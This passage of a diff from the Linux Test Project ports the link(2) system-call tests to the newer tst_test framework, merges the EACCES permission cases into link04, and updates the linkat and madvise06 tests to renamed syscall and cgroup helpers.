- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
  */
 
-/*
- * Tests that link(2) succeds.
+/*\
+ * [Description]
+ *
+ * Tests that link(2) succeeds.
  */
 
-#include <sys/types.h>
-#include <fcntl.h>
+#include <unistd.h>
 #include <sys/stat.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include "test.h"
-#include "safe_macros.h"
-
-static void setup(void);
-static void cleanup(void);
-
-char *TCID = "link02";
-int TST_TOTAL = 1;
+#include "tst_test.h"
 
 #define OLDPATH "oldpath"
 #define NEWPATH "newpath"
@@ -59,57 +23,33 @@
 {
 	struct stat fbuf, lbuf;
 
-	TEST(link(OLDPATH, NEWPATH));
+	TST_EXP_PASS(link(OLDPATH, NEWPATH));
 
-	if (TEST_RETURN == 0) {
-		SAFE_STAT(cleanup, OLDPATH, &fbuf);
-		SAFE_STAT(cleanup, NEWPATH, &lbuf);
-		if (fbuf.st_nlink > 1 && lbuf.st_nlink > 1 &&
-		    fbuf.st_nlink == lbuf.st_nlink) {
-			tst_resm(TPASS, "link("OLDPATH","NEWPATH") "
-			         "returned 0 and link counts match");
-		} else {
-			tst_resm(TFAIL, "link("OLDPATH","NEWPATH") returned 0"
-				 " but stat lin count do not match %d %d",
-				 (int)fbuf.st_nlink, (int)lbuf.st_nlink);
-		}
-		SAFE_UNLINK(cleanup, NEWPATH);
+	if (!TST_PASS)
+		return;
+
+	SAFE_STAT(OLDPATH, &fbuf);
+	SAFE_STAT(NEWPATH, &lbuf);
+
+	if (fbuf.st_nlink > 1 && fbuf.st_nlink == lbuf.st_nlink) {
+		tst_res(TPASS, "link("OLDPATH","NEWPATH") "
+                                 "returned 0 and stat link counts match");
 	} else {
-		tst_resm(TFAIL | TTERRNO,
-		         "link("OLDPATH","NEWPATH") returned %ld",
-		         TEST_RETURN);
-	}
-}
-
-int main(int ac, char **av)
-{
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		verify_link();
+		tst_res(TFAIL, "link("OLDPATH","NEWPATH") returned 0"
+                                 " but stat link counts do not match %d %d",
+                                 (int)fbuf.st_nlink, (int)lbuf.st_nlink);
 	}
 
-	cleanup();
-	tst_exit();
+	SAFE_UNLINK(NEWPATH);
 }
 
 static void setup(void)
 {
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	SAFE_TOUCH(cleanup, OLDPATH, 0700, NULL);
+	SAFE_TOUCH(OLDPATH, 0700, NULL);
 }
 
-static void cleanup(void)
-{
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.test_all = verify_link,
+	.setup = setup,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/link/link04.c b/testcases/kernel/syscalls/link/link04.c
index d940884..9940ac6 100644
--- a/testcases/kernel/syscalls/link/link04.c
+++ b/testcases/kernel/syscalls/link/link04.c
@@ -1,170 +1,138 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *  AUTHOR		: Richard Logan
- *  CO-PILOT		: William Roske
+ * AUTHOR		: Richard Logan
+ * CO-PILOT		: William Roske
  * Copyright (c) 2014 Cyril Hrubis <chrubis@suse.cz>
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
  */
 
-/*
+/*\
+ * [Description]
+ *
  * Negative test cases for link(2).
  *
  * This test program should contain test cases where link will fail regardless
  * of who executed it (i.e. joe-user or root)
  */
-#include <sys/types.h>
-#include <fcntl.h>
-#include <sys/stat.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
+
+#include <pwd.h>
 #include <sys/param.h>
 #include <sys/mman.h>
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
+
+#define NOBODY_USER     99
+#define MODE_TO1 S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IXGRP|S_IXOTH|S_IROTH
+#define MODE_TO2 S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IWGRP|S_IXGRP|S_IXOTH|S_IROTH|S_IWOTH
+#define MODE_TE S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IWGRP|S_IROTH|S_IWOTH
+#define MODE_RWX        S_IRWXU | S_IRWXG | S_IRWXO
+#define DIR_TEMP        "dir2/testdir_1"
 
 static char longpath[PATH_MAX + 2];
 
-struct test_case_t {
+static struct tcase {
 	char *file1;
 	char *desc1;
 	char *file2;
 	char *desc2;
 	int exp_errno;
-} test_cases[] = {
+} tcases[] = {
 	/* first path is invalid */
 	{"nonexistfile", "non-existent file", "nefile", "nefile", ENOENT},
 	{"", "path is empty string", "nefile", "nefile", ENOENT},
-	{"neefile/file", "path contains a non-existent file", "nefile",
-	 "nefile", ENOENT},
-	{"regfile/file", "path contains a regular file", "nefile", "nefile",
-	 ENOTDIR},
+	{"neefile/file", "path contains a non-existent file", "nefile", "nefile", ENOENT},
+	{"regfile/file", "path contains a regular file", "nefile", "nefile", ENOTDIR},
 	{longpath, "pathname too long", "nefile", "nefile", ENAMETOOLONG},
 	{NULL, "invalid address", "nefile", "nefile", EFAULT},
+
 	/* second path is invalid */
 	{"regfile", "regfile", "", "empty string", ENOENT},
-	{"regfile", "regfile", "neefile/file",
-		    "path contains a non-existent file", ENOENT},
-	{"regfile", "regfile", "file/file",
-		    "path contains a regular file", ENOENT},
+	{"regfile", "regfile", "neefile/file", "path contains a non-existent file", ENOENT},
+	{"regfile", "regfile", "file/file", "path contains a regular file", ENOENT},
 	{"regfile", "regfile", longpath, "pathname too long", ENAMETOOLONG},
 	{"regfile", "regfile", NULL, "invalid address", EFAULT},
+
 	/* two existing files */
 	{"regfile", "regfile", "regfile2", "regfile2", EEXIST},
+	{"dir1/oldpath", "Write access diretory", "dir1/newpath", "newpath", EACCES},
+	{"dir2/testdir_1/tfile_2", "Search access diretory", "dir2/testdir_1/new_tfile_2",
+						"dir2/testdir_1/new_tfile_2", EACCES},
 };
 
-char *TCID = "link04";
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-
-static void setup(void);
-static void cleanup(void);
-
-int main(int ac, char **av)
+static void verify_link(unsigned int i)
 {
-	int lc;
-	char *fname1, *fname2;
-	char *desc1, *desc2;
-	int i;
+	struct passwd *nobody_pwd;
+	struct tcase *tc = &tcases[i];
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	if (tc->exp_errno == EACCES) {
+		SAFE_SETEUID(0);
 
-	setup();
+		if (strcmp(tc->desc1, "Write access diretory") == 0) {
+			/* Modify mode permissions on test directory */
+			SAFE_CHMOD("dir1", MODE_TO1);
+			SAFE_TOUCH(tc->file1, 0777, NULL);
+		} else if (strcmp(tc->desc1, "Search access diretory") == 0) {
+			/* Modify mode permissions on test directory */
+			SAFE_CHMOD("dir2", MODE_TO2);
+			SAFE_TOUCH(tc->file1, 0666, NULL);
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			fname1 = test_cases[i].file1;
-			desc1 = test_cases[i].desc1;
-			fname2 = test_cases[i].file2;
-			desc2 = test_cases[i].desc2;
-
-			TEST(link(fname1, fname2));
-
-			if (TEST_RETURN == -1) {
-				if (TEST_ERRNO == test_cases[i].exp_errno) {
-					tst_resm(TPASS | TTERRNO,
-						 "link(<%s>, <%s>)",
-						 desc1, desc2);
-				} else {
-					tst_resm(TFAIL | TTERRNO,
-						 "link(<%s>, <%s>) Failed "
-					         "expected errno: %d",
-						 desc1, desc2,
-						 test_cases[i].exp_errno);
-				}
-			} else {
-				tst_resm(TFAIL,
-					 "link(<%s>, <%s>) returned %ld, "
-				         "expected -1, errno:%d",
-					 desc1, desc2, TEST_RETURN,
-					 test_cases[i].exp_errno);
-			}
+			/* Modify mode permissions on test directory - test conditions */
+			SAFE_CHMOD(DIR_TEMP, MODE_TE);
 		}
 
+		nobody_pwd = SAFE_GETPWNAM("nobody");
+		SAFE_SETEUID(nobody_pwd->pw_uid);
 	}
 
-	cleanup();
-	tst_exit();
+	TEST(link(tc->file1, tc->file2));
+
+	if (TST_RET == -1) {
+		if (TST_ERR == tc->exp_errno) {
+			tst_res(TPASS | TTERRNO,
+				"link(<%s>, <%s>)",
+				tc->desc1, tc->desc2);
+		} else {
+			tst_res(TFAIL | TTERRNO,
+				"link(<%s>, <%s>) Failed "
+				"expected errno: %d",
+				tc->desc1, tc->desc2,
+				tc->exp_errno);
+		}
+	} else {
+		tst_res(TFAIL,
+			 "link(<%s>, <%s>) returned %ld, "
+			"expected -1, errno:%d",
+			tc->desc1, tc->desc2, TST_RET,
+			tc->exp_errno);
+	}
 }
 
 static void setup(void)
 {
-	int n;
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
+	unsigned int i;
 	memset(longpath, 'a', PATH_MAX+1);
-	SAFE_TOUCH(cleanup, "regfile", 0777, NULL);
-	SAFE_TOUCH(cleanup, "regfile2", 0777, NULL);
-	SAFE_MKDIR(cleanup, "dir", 0777);
 
-	void *bad_addr = tst_get_bad_addr(cleanup);
+	SAFE_TOUCH("regfile", 0777, NULL);
+	SAFE_TOUCH("regfile2", 0777, NULL);
+	SAFE_MKDIR("dir", 0777);
+	SAFE_MKDIR("dir1", MODE_RWX);
+	SAFE_MKDIR("dir2", MODE_RWX);
+	SAFE_MKDIR(DIR_TEMP, MODE_RWX);
 
-	for (n = 0; n < TST_TOTAL; n++) {
-		if (!test_cases[n].file1)
-			test_cases[n].file1 = bad_addr;
+	for (i = 0; i < ARRAY_SIZE(tcases); i++) {
+		struct tcase *tc = &tcases[i];
 
-		if (!test_cases[n].file2)
-			test_cases[n].file2 = bad_addr;
+		if (!tc->file1)
+			tc->file1 = tst_get_bad_addr(NULL);
+
+		if (!tc->file2)
+			tc->file2 = tst_get_bad_addr(NULL);
 	}
 }
 
-static void cleanup(void)
-{
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_link,
+	.setup = setup,
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/syscalls/link/link05.c b/testcases/kernel/syscalls/link/link05.c
index 3b42217..95787ec 100644
--- a/testcases/kernel/syscalls/link/link05.c
+++ b/testcases/kernel/syscalls/link/link05.c
@@ -1,161 +1,77 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
  *  AUTHOR		: Richard Logan
  *  CO-PILOT		: William Roske
  * Copyright (c) 2014 Cyril Hrubis <chrubis@suse.cz>
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
  */
 
 /*
  * Test if link(2) fails with EMLINK.
  */
 
-#include <sys/types.h>
-#include <fcntl.h>
+#include <stdio.h>
 #include <sys/stat.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include "test.h"
-#include "safe_macros.h"
-
-static void setup(void);
-static void cleanup(void);
-static void help(void);
-
-char *TCID = "link05";
-int TST_TOTAL = 1;
+#include "tst_test.h"
 
 #define BASENAME	"lkfile"
 
 static char fname[255];
 
-static char *links_arg;
-
-option_t options[] = {
-	{"N:", NULL, &links_arg},
-	{NULL, NULL, NULL}
-};
-
 static int nlinks = 1000;
 
-int main(int ac, char **av)
+static void verify_link(void)
 {
-	int lc;
-	struct stat fbuf, lbuf;
 	int cnt;
-	char lname[255];
+	char lname[1024];
+	struct stat fbuf, lbuf;
 
-	tst_parse_opts(ac, av, options, &help);
+	for (cnt = 1; cnt < nlinks; cnt++) {
+		sprintf(lname, "%s_%d", fname, cnt);
+		TST_EXP_PASS_SILENT(link(fname, lname), "link(%s, %s)", fname, lname);
+	}
 
-	if (links_arg) {
-		nlinks = atoi(links_arg);
+	SAFE_STAT(fname, &fbuf);
 
-		if (nlinks == 0) {
-			tst_brkm(TBROK, NULL,
-			         "nlinks is not a positive number");
+	for (cnt = 1; cnt < nlinks; cnt++) {
+		sprintf(lname, "%s_%d", fname, cnt);
+
+		SAFE_STAT(lname, &lbuf);
+		if (fbuf.st_nlink <= 1 || lbuf.st_nlink <= 1 ||
+		    (fbuf.st_nlink != lbuf.st_nlink)) {
+
+			tst_res(TFAIL,
+				 "link(%s, %s[1-%d]) ret %ld for %d "
+			         "files, stat values do not match %d %d",
+				 fname, fname, nlinks,
+				 TST_RET, nlinks,
+				 (int)fbuf.st_nlink, (int)lbuf.st_nlink);
+			break;
 		}
 	}
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (cnt = 1; cnt < nlinks; cnt++) {
-			sprintf(lname, "%s%d", fname, cnt);
-			TEST(link(fname, lname));
-
-			if (TEST_RETURN == -1) {
-				tst_resm(TFAIL,
-					 "link(%s, %s) Failed, errno=%d : %s",
-					 fname, lname, TEST_ERRNO,
-					 strerror(TEST_ERRNO));
-			}
-		}
-
-		SAFE_STAT(cleanup, fname, &fbuf);
-
-		for (cnt = 1; cnt < nlinks; cnt++) {
-			sprintf(lname, "%s%d", fname, cnt);
-
-			SAFE_STAT(cleanup, lname, &lbuf);
-			if (fbuf.st_nlink <= 1 || lbuf.st_nlink <= 1 ||
-			    (fbuf.st_nlink != lbuf.st_nlink)) {
-
-				tst_resm(TFAIL,
-					 "link(%s, %s[1-%d]) ret %ld for %d "
-				         "files, stat values do not match %d %d",
-					 fname, fname, nlinks,
-					 TEST_RETURN, nlinks,
-					 (int)fbuf.st_nlink, (int)lbuf.st_nlink);
-				break;
-			}
-		}
-		if (cnt >= nlinks) {
-			tst_resm(TPASS,
-				 "link(%s, %s[1-%d]) ret %ld for %d files,"
-			         "stat linkcounts match %d",
-				 fname, fname, nlinks, TEST_RETURN,
-				 nlinks, (int)fbuf.st_nlink);
-		}
-
-		for (cnt = 1; cnt < nlinks; cnt++) {
-			sprintf(lname, "%s%d", fname, cnt);
-			SAFE_UNLINK(cleanup, lname);
-		}
+	if (cnt >= nlinks) {
+		tst_res(TPASS,
+			 "link(%s, %s[1-%d]) ret %ld for %d files, "
+		         "stat linkcounts match %d",
+			 fname, fname, nlinks, TST_RET,
+			 nlinks, (int)fbuf.st_nlink);
 	}
 
-	cleanup();
-	tst_exit();
-}
-
-static void help(void)
-{
-	printf("  -N #links : create #links hard links every iteration\n");
+	for (cnt = 1; cnt < nlinks; cnt++) {
+		sprintf(lname, "%s_%d", fname, cnt);
+		SAFE_UNLINK(lname);
+	}
 }
 
 static void setup(void)
 {
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
 	sprintf(fname, "%s_%d", BASENAME, getpid());
-	SAFE_TOUCH(cleanup, fname, 0700, NULL);
+	SAFE_TOUCH(fname, 0700, NULL);
 }
 
-static void cleanup(void)
-{
-	tst_rmdir();
-}
+static struct tst_test test = {
+        .test_all = verify_link,
+        .setup = setup,
+        .needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/link/link06.c b/testcases/kernel/syscalls/link/link06.c
deleted file mode 100644
index 4dae47b..0000000
--- a/testcases/kernel/syscalls/link/link06.c
+++ /dev/null
@@ -1,113 +0,0 @@
-/*
- * Copyright (C) Bull S.A. 2001
- * Copyright (c) International Business Machines  Corp., 2001
- * 06/2002 Ported by Jacky Malcles
- * Copyright (c) 2014 Cyril Hrubis <chrubis@suse.cz>
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * Verify that, link() fails with -1 and sets errno to EACCES when Write access
- * to the directory containing newpath is not allowed for the process's
- * effective uid.
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <pwd.h>
-
-#include "test.h"
-#include "safe_macros.h"
-
-#define NOBODY_USER	99
-#define MODE_TO S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IXGRP|S_IXOTH|S_IROTH
-
-static void setup(void);
-static void cleanup(void);
-
-char *TCID = "link06";
-int TST_TOTAL = 1;
-
-#define OLDPATH "oldpath"
-#define NEWPATH "newpath"
-
-int main(int ac, char **av)
-{
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		TEST(link(OLDPATH, NEWPATH));
-
-		if (TEST_RETURN != -1) {
-			tst_resm(TFAIL, "link() returned %ld,"
-				 "expected -1, errno=%d", TEST_RETURN,
-				 EACCES);
-		} else {
-			if (TEST_ERRNO == EACCES) {
-				tst_resm(TPASS, "link() fails with expected "
-					 "error EACCES errno:%d", TEST_ERRNO);
-			} else {
-				tst_resm(TFAIL, "link() fails with "
-					 "errno=%d, expected errno=%d",
-					 TEST_ERRNO, EACCES);
-			}
-		}
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-static void setup(void)
-{
-	struct passwd *nobody_pwd;
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	tst_require_root();
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	/* Modify mode permissions on test directory */
-	SAFE_CHMOD(cleanup, ".", MODE_TO);
-
-	SAFE_TOUCH(cleanup, OLDPATH, 0777, NULL);
-	nobody_pwd = SAFE_GETPWNAM(cleanup, "nobody");
-	SAFE_SETEUID(cleanup, nobody_pwd->pw_uid);
-}
-
-static void cleanup(void)
-{
-	if (seteuid(0))
-		tst_resm(TWARN | TERRNO, "seteuid(0) failed");
-
-	tst_rmdir();
-}
diff --git a/testcases/kernel/syscalls/link/link07.c b/testcases/kernel/syscalls/link/link07.c
deleted file mode 100644
index 0fa1af4..0000000
--- a/testcases/kernel/syscalls/link/link07.c
+++ /dev/null
@@ -1,118 +0,0 @@
-/*
- * Copyright (C) Bull S.A. 2001
- * Copyright (c) International Business Machines  Corp., 2001
- *  06/2002 Ported by Jacky Malcles
- * Copyright (c) 2014 Cyril Hrubis <chrubis@suse.cz>
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * Verify that, link() fails with -1 and sets errno to EACCES when one of the
- * directories in oldpath or newpath did not allow search (execute) permission.
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <pwd.h>
-
-#include "test.h"
-#include "safe_macros.h"
-
-#define MODE_TO S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IWGRP|S_IXGRP|S_IXOTH|S_IROTH|S_IWOTH
-#define MODE_TE S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IWGRP|S_IROTH|S_IWOTH
-#define MODE_RWX        S_IRWXU | S_IRWXG | S_IRWXO
-#define DIR_TEMP        "testdir_1"
-#define TEST_FILE2      "testdir_1/tfile_2"
-#define NEW_TEST_FILE2  "testdir_1/new_tfile_2"
-
-static void setup(void);
-static void cleanup(void);
-
-char *TCID = "link07";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
-{
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		TEST(link(TEST_FILE2, NEW_TEST_FILE2));
-
-		/* Check return code from link(2) */
-		if (TEST_RETURN != -1) {
-			tst_resm(TFAIL | TTERRNO, "link() returned %ld,"
-				 "expected -1, errno=%d", TEST_RETURN, EACCES);
-		} else {
-			if (TEST_ERRNO == EACCES) {
-				tst_resm(TPASS | TTERRNO,
-				         "link() fails with expected error");
-			} else {
-				tst_resm(TFAIL | TTERRNO, "link() failed"
-				         ", expected errno=%d (EACCES)",
-				         EACCES);
-			}
-		}
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-static void setup(void)
-{
-	struct passwd *nobody_pwd;
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	tst_require_root();
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	/* Modify mode permissions on test directory */
-	SAFE_CHMOD(cleanup, ".", MODE_TO);
-
-	SAFE_MKDIR(cleanup, DIR_TEMP, MODE_RWX);
-	SAFE_TOUCH(cleanup, TEST_FILE2, 0666, NULL);
-
-	/* Modify mode permissions on test directory - test conditions */
-	SAFE_CHMOD(cleanup, DIR_TEMP, MODE_TE);
-
-	nobody_pwd = SAFE_GETPWNAM(cleanup, "nobody");
-	SAFE_SETEUID(cleanup, nobody_pwd->pw_uid);
-}
-
-static void cleanup(void)
-{
-	if (seteuid(0))
-		tst_resm(TWARN | TERRNO, "seteuid(o) failed");
-
-	tst_rmdir();
-}
diff --git a/testcases/kernel/syscalls/linkat/linkat01.c b/testcases/kernel/syscalls/linkat/linkat01.c
index cde0910..70feb6b 100644
--- a/testcases/kernel/syscalls/linkat/linkat01.c
+++ b/testcases/kernel/syscalls/linkat/linkat01.c
@@ -192,7 +192,7 @@
 static int mylinkat(int olddirfd, const char *oldfilename, int newdirfd,
 		    const char *newfilename, int flags)
 {
-	return ltp_syscall(__NR_linkat, olddirfd, oldfilename, newdirfd,
+	return tst_syscall(__NR_linkat, olddirfd, oldfilename, newdirfd,
 		       newfilename, flags);
 }
 
diff --git a/testcases/kernel/syscalls/linkat/linkat02.c b/testcases/kernel/syscalls/linkat/linkat02.c
index 51785af..796190f 100644
--- a/testcases/kernel/syscalls/linkat/linkat02.c
+++ b/testcases/kernel/syscalls/linkat/linkat02.c
@@ -21,7 +21,6 @@
 
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <fcntl.h>
 #include <unistd.h>
 #include <stdlib.h>
 #include <errno.h>
@@ -113,7 +112,7 @@
 		desc->setupfunc();
 	}
 
-	TEST(ltp_syscall(__NR_linkat, AT_FDCWD, desc->oldfname,
+	TEST(tst_syscall(__NR_linkat, AT_FDCWD, desc->oldfname,
 			 AT_FDCWD, desc->newfname, desc->flags));
 
 	if (desc->cleanfunc != NULL)
@@ -121,7 +120,7 @@
 
 	if (TEST_RETURN != -1) {
 		tst_resm(TFAIL,
-			 "linkat(""AT_FDCWD"", %s, ""AT_FDCWD"", %s, %d)"
+			 "linkat(""AT_FDCWD"", %s, ""AT_FDCWD"", %s, %d) "
 			 "succeeded unexpectedly", desc->oldfname,
 			 desc->newfname, desc->flags);
 		return;
diff --git a/testcases/kernel/syscalls/madvise/madvise06.c b/testcases/kernel/syscalls/madvise/madvise06.c
index 63d8d54..27aff18 100644
--- a/testcases/kernel/syscalls/madvise/madvise06.c
+++ b/testcases/kernel/syscalls/madvise/madvise06.c
@@ -35,6 +35,12 @@
  * faults. Two faults are allowed incase some tasklet or something
  * else unexpected, but irrelevant procedure, registers a fault to
  * our process.
+ *
+ * It also can reproduce the MADV_WILLNEED preformance problem.
+ * It was introduced since 5.9 kernel with the following commit
+ *   e6e88712e43b ("mm: optimise madvise WILLNEED")
+ * and fixed since 5.10-rc5 kernel with the following commit
+ *   66383800df9c ("mm: fix madvise WILLNEED performance problem").
  */
 
 #include <errno.h>
@@ -42,7 +48,6 @@
 #include <sys/mount.h>
 #include <sys/sysinfo.h>
 #include "tst_test.h"
-#include "tst_cgroup.h"
 
 #define CHUNK_SZ (400*1024*1024L)
 #define MEM_LIMIT (CHUNK_SZ / 2)
@@ -50,8 +55,6 @@
 #define PASS_THRESHOLD (CHUNK_SZ / 4)
 #define PASS_THRESHOLD_KB (PASS_THRESHOLD / 1024)
 
-static const struct tst_cgroup_group *cg;
-
 static const char drop_caches_fname[] = "/proc/sys/vm/drop_caches";
 static int pg_sz, stat_refresh_sup;
 
@@ -67,10 +70,10 @@
 {
 	long ret;
 
-	if (!SAFE_CGROUP_HAS(cg, name))
+	if (!SAFE_CG_HAS(tst_cg, name))
 		return;
 
-	SAFE_CGROUP_SCANF(cg, name, "%ld", &ret);
+	SAFE_CG_SCANF(tst_cg, name, "%ld", &ret);
 	tst_res(TINFO, "\t%s: %ld Kb", name, ret / 1024);
 }
 
@@ -115,21 +118,18 @@
 	check_path("/proc/self/oom_score_adj");
 	SAFE_FILE_PRINTF("/proc/self/oom_score_adj", "%d", -1000);
 
-	tst_cgroup_require("memory", NULL);
-	cg = tst_cgroup_get_test_group();
+	SAFE_CG_PRINTF(tst_cg, "memory.max", "%ld", MEM_LIMIT);
+	if (SAFE_CG_HAS(tst_cg, "memory.swap.max"))
+		SAFE_CG_PRINTF(tst_cg, "memory.swap.max", "%ld", MEMSW_LIMIT);
 
-	SAFE_CGROUP_PRINTF(cg, "memory.max", "%ld", MEM_LIMIT);
-	if (SAFE_CGROUP_HAS(cg, "memory.swap.max"))
-		SAFE_CGROUP_PRINTF(cg, "memory.swap.max", "%ld", MEMSW_LIMIT);
-
-	if (SAFE_CGROUP_HAS(cg, "memory.swappiness")) {
-		SAFE_CGROUP_PRINT(cg, "memory.swappiness", "60");
+	if (SAFE_CG_HAS(tst_cg, "memory.swappiness")) {
+		SAFE_CG_PRINT(tst_cg, "memory.swappiness", "60");
 	} else {
 		check_path("/proc/sys/vm/swappiness");
 		SAFE_FILE_PRINTF("/proc/sys/vm/swappiness", "%d", 60);
 	}
 
-	SAFE_CGROUP_PRINTF(cg, "cgroup.procs", "%d", getpid());
+	SAFE_CG_PRINTF(tst_cg, "cgroup.procs", "%d", getpid());
 
 	meminfo_diag("Initial meminfo, later values are relative to this (except memcg)");
 	init_swap = SAFE_READ_MEMINFO("SwapTotal:") - SAFE_READ_MEMINFO("SwapFree:");
@@ -143,11 +143,6 @@
 		CHUNK_SZ / 1024, CHUNK_SZ / pg_sz, MEM_LIMIT / 1024, PASS_THRESHOLD_KB);
 }
 
-static void cleanup(void)
-{
-	tst_cgroup_cleanup();
-}
-
 static void dirty_pages(char *ptr, long size)
 {
 	long i;
@@ -169,7 +164,7 @@
 
 static void test_advice_willneed(void)
 {
-	int loops = 50, res;
+	int loops = 100, res;
 	char *target;
 	long swapcached_start, swapcached;
